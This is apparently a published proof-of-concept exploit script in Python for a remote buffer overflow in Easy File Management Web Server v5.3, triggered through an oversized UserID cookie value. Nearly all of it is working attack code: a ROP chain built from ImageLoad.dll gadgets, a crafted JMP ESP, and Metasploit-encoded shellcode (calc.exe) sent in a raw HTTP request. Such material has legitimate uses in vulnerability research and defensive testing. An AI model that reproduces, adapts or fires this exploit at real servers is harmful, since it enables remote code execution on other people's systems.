Easy File Management Web Server v5.3 - UserID Remote Buffer Overflow (ROP)

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#!/usr/bin/python

# Exploit Title: Easy File Management Web Server v5.3 - USERID Remote Buffer Overflow (ROP)

# Version:       5.3

# Date:          2014-05-31

# Author:        Julien Ahrens (@MrTuxracer)

# Homepage:      http://www.rcesecurity.com

# Software Link: http://www.efssoft.com/

# Tested on:     WinXP-GER, Win7x64-GER, Win8-EN, Win8x64-GER

#

# Credits for vulnerability discovery:

# superkojiman (http://www.exploit-db.com/exploits/33453/)

#

# Howto / Notes:

# This scripts exploits the buffer overflow vulnerability caused by an oversized UserID - string as

# discovered by superkojiman. In comparison to superkojiman's exploit, this exploit does not

# brute force the address of the overwritten stackpart, instead it uses code from its own

# .text segment to achieve reliable code execution.

 

from struct import pack

import socket,sys

import os

  

host="192.168.0.1"

port=80

  

junk0 = "\x90" * 80

 

# Instead of bruteforcing the stack address, let's take an address

# from the .text segment, which is near to the stackpivot instruction:

# 0x1001d89b : {pivot 604 / 0x25c} # POP EDI # POP ESI # POP EBP # POP EBX # ADD ESP,24C # RETN [ImageLoad.dll]

# The memory located at 0x1001D8F0: "\x7A\xD8\x01\x10" does the job!

# Due to call dword ptr [edx+28h]: 0x1001D8F0 - 28h = 0x1001D8C8

call_edx=pack('<L',0x1001D8C8)

 

junk1="\x90" * 280

ppr=pack('<L',0x10010101) # POP EBX # POP ECX # RETN [ImageLoad.dll]

 

# Since 0x00 would break the exploit, the 0x00457452 (JMP ESP [fmws.exe]) needs to be crafted on the stack

crafted_jmp_esp=pack('<L',0xA445ABCF)

 

test_bl=pack('<L',0x10010125) # contains 00000000 to pass the JNZ instruction

 

kungfu=pack('<L',0x10022aac)  # MOV EAX,EBX # POP ESI # POP EBX # RETN [ImageLoad.dll]

kungfu+=pack('<L',0xDEADBEEF) # filler

kungfu+=pack('<L',0xDEADBEEF) # filler

kungfu+=pack('<L',0x1001a187) # ADD EAX,5BFFC883 # RETN [ImageLoad.dll] # finish crafting JMP ESP

kungfu+=pack('<L',0x1002466d) # PUSH EAX # RETN [ImageLoad.dll]

 

nopsled="\x90" * 20

 

# windows/exec CMD=calc.exe

# Encoder: x86/shikata_ga_nai

# powered by Metasploit

# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0a\x0d'

 

shellcode=("\xda\xca\xbb\xfd\x11\xa3\xae\xd9\x74\x24\xf4\x5a\x31\xc9" +

"\xb1\x33\x31\x5a\x17\x83\xc2\x04\x03\xa7\x02\x41\x5b\xab" +

"\xcd\x0c\xa4\x53\x0e\x6f\x2c\xb6\x3f\xbd\x4a\xb3\x12\x71" +

"\x18\x91\x9e\xfa\x4c\x01\x14\x8e\x58\x26\x9d\x25\xbf\x09" +

"\x1e\x88\x7f\xc5\xdc\x8a\x03\x17\x31\x6d\x3d\xd8\x44\x6c" +

"\x7a\x04\xa6\x3c\xd3\x43\x15\xd1\x50\x11\xa6\xd0\xb6\x1e" +

"\x96\xaa\xb3\xe0\x63\x01\xbd\x30\xdb\x1e\xf5\xa8\x57\x78" +

"\x26\xc9\xb4\x9a\x1a\x80\xb1\x69\xe8\x13\x10\xa0\x11\x22" +

"\x5c\x6f\x2c\x8b\x51\x71\x68\x2b\x8a\x04\x82\x48\x37\x1f" +

"\x51\x33\xe3\xaa\x44\x93\x60\x0c\xad\x22\xa4\xcb\x26\x28" +

"\x01\x9f\x61\x2c\x94\x4c\x1a\x48\x1d\x73\xcd\xd9\x65\x50" +

"\xc9\x82\x3e\xf9\x48\x6e\x90\x06\x8a\xd6\x4d\xa3\xc0\xf4" +

"\x9a\xd5\x8a\x92\x5d\x57\xb1\xdb\x5e\x67\xba\x4b\x37\x56" +

"\x31\x04\x40\x67\x90\x61\xbe\x2d\xb9\xc3\x57\xe8\x2b\x56" +

"\x3a\x0b\x86\x94\x43\x88\x23\x64\xb0\x90\x41\x61\xfc\x16" +

"\xb9\x1b\x6d\xf3\xbd\x88\x8e\xd6\xdd\x4f\x1d\xba\x0f\xea" +

"\xa5\x59\x50")

 

payload=junk0 + call_edx + junk1 + ppr + crafted_jmp_esp + test_bl + kungfu + nopsled + shellcode

 

buf="GET /vfolder.ghp HTTP/1.1\r\n"

buf+="User-Agent: Mozilla/4.0\r\n"

buf+="Host:" + host + ":" + str(port) + "\r\n"

buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"

buf+="Accept-Language: en-us\r\n"

buf+="Accept-Encoding: gzip, deflate\r\n"

buf+="Referer: http://" + host + "/\r\n"

buf+="Cookie: SESSIONID=1337; UserID=" + payload + "; PassWD=;\r\n"

buf+="Conection: Keep-Alive\r\n\r\n"

 

 

print "[*] Connecting to Host " + host + "..."

 

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    connect=s.connect((host, port))

    print "[*] Connected to " + host + "!"

except:

    print "[!] " + host + " didn't respond\n"

    sys.exit(0)

     

print "[*] Sending malformed request..."

s.send(buf)

 

print "[!] Exploit has been sent!\n"

s.close()